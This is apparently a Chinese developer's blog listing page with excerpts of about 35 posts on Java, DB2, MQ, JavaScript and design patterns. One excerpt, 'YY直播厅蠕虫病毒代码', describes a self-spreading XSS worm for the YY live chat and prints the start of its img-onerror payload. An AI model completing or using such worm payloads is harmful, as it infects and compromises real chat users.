- 博客(137)
- 资源 (2)
- 问答 (1)
- 收藏
- 关注
滑动窗口计数java实现
滑动窗口计数有很多使用场景,比如说限流防止系统雪崩。相比计数实现,滑动窗口实现会更加平滑,能自动消除毛刺。 概念上可以参考TCP的滑窗算法,可以看一下这篇文章(http://go12345.iteye.com/blog/1744728)。在实现上,滑动窗口算法需要循环队列和线程安全保障。 下面的实现有几个点1, 支持滑窗大小运行时动态调整2, 基于 java8 编译器...
2016-02-20 13:13:36
1451
面向对象程序设计思想(精华)
面向对象语言具有封装,继承,多态的特征。那么在用面象对象语言进行程序设计的时候,我们应该要注意些什么,遵守哪些原则呢。 我们都知道在面向对象世界中拥有5大关系,6大原则,23种设计模式。那么他们是什么关系,到底有什么用呢。 我们定义类来封装对象,应该尽量的保证类职责的单一性,从而提高他的灵活性,重用性,扩展性和维护性。如果类职责R因为某种原因(比如说新需求)变成两个职责R1、R2,这时就...
2014-11-12 15:52:50
423
db2生成执行计划,监控及优化
一,生成指定sql的执行计划1. 连接到db2db2 connect to aep user wcsuser using wcsuser12. 生成执行计划相关表 db2 -tvf sqllib/misc/EXPLAIN.DDL3. 生成执行计划并导出文件 a) db2 "explain plan for xxx" b) db2exfmt -1 -...
2014-10-15 14:48:15
1202
eclipse 从Git导入maven项目
从远程GIT上导出一个Maven项目到Eclipse大约分为以下几步:1,从GIT下载项目并导进workspace2,删除项目并重新以Maven方式导入3,Run As --> Maven Install 为了方便说明,以 Storm官方一个项目为例进行说明,repository为https://github.com/nathanmarz/storm-starter....
2014-09-24 14:21:46
1187
YY直播厅蠕虫病毒代码
本来是可以直接通过<script>标签实现的,但是昨天被YY官方给屏蔽了。下面的代码是通过img标签的onerror事件进行触发。所有看到这条消息的在线用户会被自动感染,并继续感染其他用户,因为这段代码有自我复制能力。. <img height="0" width="0" src="xx" onerror='t=this;function fn(){n = $("...
2014-09-22 21:52:44
553
1
找出序列中不重复的元素
阿里的一个面试题:一个序列里除了一个元素,其他元素都会重复出现3次,设计一个时间复杂度与空间复杂度最低的算法,找出这个不重复的元素。实现如下:[code="java"]package bitmap;import java.util.BitSet;public class BitMapMain { static int[] list = {2, 3...
2014-09-17 21:51:20
345
原创 设计模式的6大原则
1 开闭原则(Open Close Principle)1.1 定义:一个软件实体如类、模块和函数应该对扩展开放,对修改关闭。1.2 当软件需要变化时,尽量通过扩展软件实体的行为来实现变化, 而不是通过修改已有的代码来实现变化。1.3 开闭原则是总纲,他告诉我们要对扩展开放,对修改关闭。2 迪米特法则(Law Of Demeter)2.1 迪米特法则又叫最少知道原则2.2 ...
2014-08-27 22:52:00
134
原创 mysql 常用命令
第一招、mysql服务的启动和停止net stop mysqlnet start mysql第二招、登陆mysql语法如下: mysql -u用户名 -p用户密码键入命令mysql -uroot -p, 回车后提示你输入密码,输入12345,然后回车即可进入到mysql中了,mysql的提示符是:mysql>注意,如果是连接到另外的机器上,则...
2013-06-11 15:25:08
98
JS实现动态创建类
[code="java"] function declare(clazz, props) { var objs = clazz.split("."), parent = window; for (var i = 0; i < objs.length - 1; i++) { var o = objs[i]; if (typeof o != 'object') ...
2013-04-12 19:26:15
680
原创 builder模式
builder模式将构建和表示分离,使相同的构建可以形成不同的表示。 创建和表示分离后使两者可以独立变化 就像建筑公司与设计公司一样,建筑公司负责建设,设计公司负责组装,最后形成高楼 而建筑公司还可以和别的设计公司合作建设别的大楼,从而是不是说明创建是复用了呢 对应起来,设计公司承担指挥(DIrector)的工作,而建筑公司承担建设(Builder)的工作,设...
2013-03-07 16:15:00
134
spring mvc
spring mvc(以下简称框架)是一个非常优秀的Web框架,开发简单,功能强大 框架包含三大部分:resolver , handler, controller resolver 又分为上传resolver ,多语言resolver ,主题resolver ,显示resolver 和异常resolver ,根据他们的功能,将在不同的阶段产生作用 handler主要...
2013-03-07 15:05:42
91
原创 软件架构的发展
从宏观上看,现在软件架构大概分为四个阶段,而现在大多公司按不同规模不同行业都处于1至3阶段,还有一些逐渐向第四阶段发展。[b]一、单一架构[/b]在这种架构下,将所有业务封装到一个工程里最后打包成一个 war 包进行部署,这种方式不公开发简单,而且部署也简单,适合小项目。技术关注点主要在后台ORM这块[b]二、垂直架构[/b]当业务需求增多后,将项目拆分为多个W...
2013-03-07 14:43:57
133
原创 关闭MQ队列管理器安全认证
C:\Program Files (x86)\IBM\WebSphere MQ\bin>runmqsc B2C_QM5724-H72 (C) Copyright IBM Corp. 1994, 2011. ALL RIGHTS RESERVED.启动队列管理器 B2C_QM 的 MQSC。alter qmgr chlauth(disabled) 1 : alter...
2012-12-07 11:17:53
3613
JAVA调用HTTPS接口
[code="java"] public String callMemberInfoInterface(String request) throws Exception { if (logger.isInfoEnabled()) { logger.info("callMemberInfoInterface request : " + request); } ...
2012-08-02 16:28:20
594
Apache Http Server Rewrite
apache的rewrite功能很强大,详细参考:http://lamp.linux.gov.cn/Apache/ApacheMenu/rewrite/index.html用法如下步骤:1,加载Rewrite模块LoadModule rewrite_module modules/mod_rewrite.so2,打开引擎RewriteEngine on3,编写重写...
2012-06-04 13:13:30
163
DB2 常用常用
安装完数据库后可通过以下命令进行验证db2leveldb2licm -ldb2val在windows下面默认实例名叫db2,在linux下叫db2inst1实例相关命令:db2start 启动实例db2stop 停止实例db2icrt 创建实例db2idrop 删除实例db2ilist 显示所有实例 db2 get instance 显示正在运行...
2012-02-29 18:28:29
207
java操作MQ
[code="java"]package mq;import java.io.IOException;import com.ibm.mq.MQC;import com.ibm.mq.MQEnvironment;import com.ibm.mq.MQException;import com.ibm.mq.MQGetMessageOptions;impor...
2011-12-30 14:21:33
206
实现动态验证码
[code="java"]import java.awt.Color;import java.awt.Font;import java.awt.Graphics;import java.awt.image.BufferedImage;import java.io.IOException;import java.util.Random;import javax.s...
2011-07-08 13:10:11
160
编写一个JS框架
js 代码:[code="js"](function(){ var window=this, _$=window.$, myJs = window.myJs = window.$ = function(selector) { return new myJs.fn.init(selector); }; myJs.fn = myJs.prototype...
2011-07-07 09:52:16
198
基于Servlet实现RMI突破防火墙
[code="java"]package com.mypack.web.rmi;import java.io.DataInputStream;import java.io.DataOutputStream;import java.io.EOFException;import java.io.IOException;import java.io.OutputStr...
2011-06-20 13:38:11
175
MongoDB 从入门到精通专题教程
[b]MongoDB 从入门到精通专题教程[/b]最近有好多同事都在用mongodb,一个新的面向文档型介于面向对象与关系型之间免费的数据库,据说有拥有比传统数据库更高的性能。趁今天早上有空,就研究了一下。 首先上mongodb官网(www.mongodb.org)看了一下开始文档,下了个windows版的,装了一下,并且写了几个简...
2011-06-13 09:20:53
145
原创 简单统计代码行数
真的很多,我刚写了个程序统计了一下,我们项目才695个类并符上测试程序,请各位指点 --> [code="java"]import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.InputStreamReader;/**...
2010-12-30 17:34:32
196
采用MD5单向加密
[code="java"] public static String getMd5(String src) throws Exception { Assert.notNull(src, "src must not be null."); MessageDigest md5 = MessageDigest.getInstance("MD5"); byte[] targe...
2010-11-26 10:42:45
188
在报表中格式化货币
最近在用FineReport这个工具进行系统的报表开发,发现在导出报表时要求按币别和精度要求动态的格式化金额显示,工具本身不支持这项功能,最后经过研究发现了通过条件属性加上自定义函数的方式可以完美解决该问题,代码如下:[code="java"]package com.xxx.report.function;import java.math.BigDecimal;import...
2010-11-25 10:01:24
156
Struts + JSP导出Excel报表
据我所知 Java 导 Excel 报表有三种方法:1, 在 Servlet 直接向客户端输出制表符,如下:[code="java"]PrintWriter out = response.getWriter();out.println("xxxx\t");out.flush();out.close();[/code]这种方法最原始, 编起来最...
2010-11-07 20:21:56
196
Java正则实现EL表达式
[code="java"] public static void main(String[] args) { Map map = new HashMap(2); map.put("name", "Jame Gosling"); map.put("alias", "Rod Johnson"); String line = "${name} did a gr.
2010-11-04 16:19:03
776
js格式化货币格式
[code="javascript"]String.prototype.asCurrency = function() { var f1 = this; var f2 = (Math.round((f1-0) * 100)) / 100; f2 = Math.floor(f2) == f2 ? f2 + ".00" : (Math.floor(f2 * 10) == f2 ...
2010-11-01 13:41:34
198
Hessian 发布服务及客户端实现
服务接口:[code="java"]package com.test;public interface TFSFacade { String sayHello(String username); }[/code]业务实现:[code="java"]package com.test;public class TFSFacadeImpl impl...
2010-10-19 13:36:16
225
java 项目中嵌入 jetty,并发布servlet
[code="java"]package com.utan.tfs.jetty;import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequ...
2010-10-13 11:47:30
248
TreeSet<T> 简单实现
[code="java"]package com.mypack.ds;import java.util.Random;public class TreeSet{ /** * @param args */ public static void main(String[] args) { /...
2010-08-26 17:31:15
362
SAX 解析 XML 实例
xml文件:[code="xml"] Kyte male engineer Charry female manager [/code]JavaBean类:[code="java"]package com.mypack.sax;import java.io.Serializable;...
2010-08-21 14:32:49
87
利用 Spring 中的 Resource 读取文件和网络资源
利用 Spring 中的 Resource 读取文件和网络资源[code="java"]package com.isoftstone.spring.beans;import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;import java.ut...
2010-08-21 12:04:10
450
socket 发送 soap 请求
[code="java"]package com.mypack.soap.client;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.OutputStream...
2010-08-19 23:46:19
472
HttpUrlConnection 发送 SOAP 请求,SAX 解析 SOAP 响应
HttpUrlConnection 发送 SOAP 请求,SAX 解析 SOAP 响应并附上抓包工具:wireshark[code="java"]/* * Socket远程调用Web服务实现,并用SAX解析XML文件,适用于性能要求较高场合 */package com.mypack.soap.client;import java.io.BufferedR...
2010-08-19 23:38:19
569
1
Java Annotation手册
作者:cleverpig(作者的Blog:http://blog.matrix.org.cn/page/cleverpig)原文:http://www.matrix.org.cn/resource/article/44/44055_Java+Annotation+Reflect.html关键字:java,annotation,reflect前言:在上篇文章《Java Annot...
2010-04-20 14:42:37
85
原创 [转]JAVA枚举类型
2007年05月08日 星期二 下午 10:26Enum作为Sun全新引进的一个关键字,看起来很象是特殊的class, 它也可以有自己的变量,可以定义自己的方法,可以实现一个或者多个接口。 当我们在声明一个enum类型时,我们应该注意到enum类型有如下的一些特征。 1.它不能有public的构造函数,这样做可以保证客户代码没有办法新建一个enum...
2010-02-09 11:09:12
80
完美卸载2008 完整版 26.33.2.exe
2008-10-01
Linux嵌入式 VS J2EE 我该何去何从?
2009-03-15
TA创建的收藏夹 TA关注的收藏夹
TA关注的人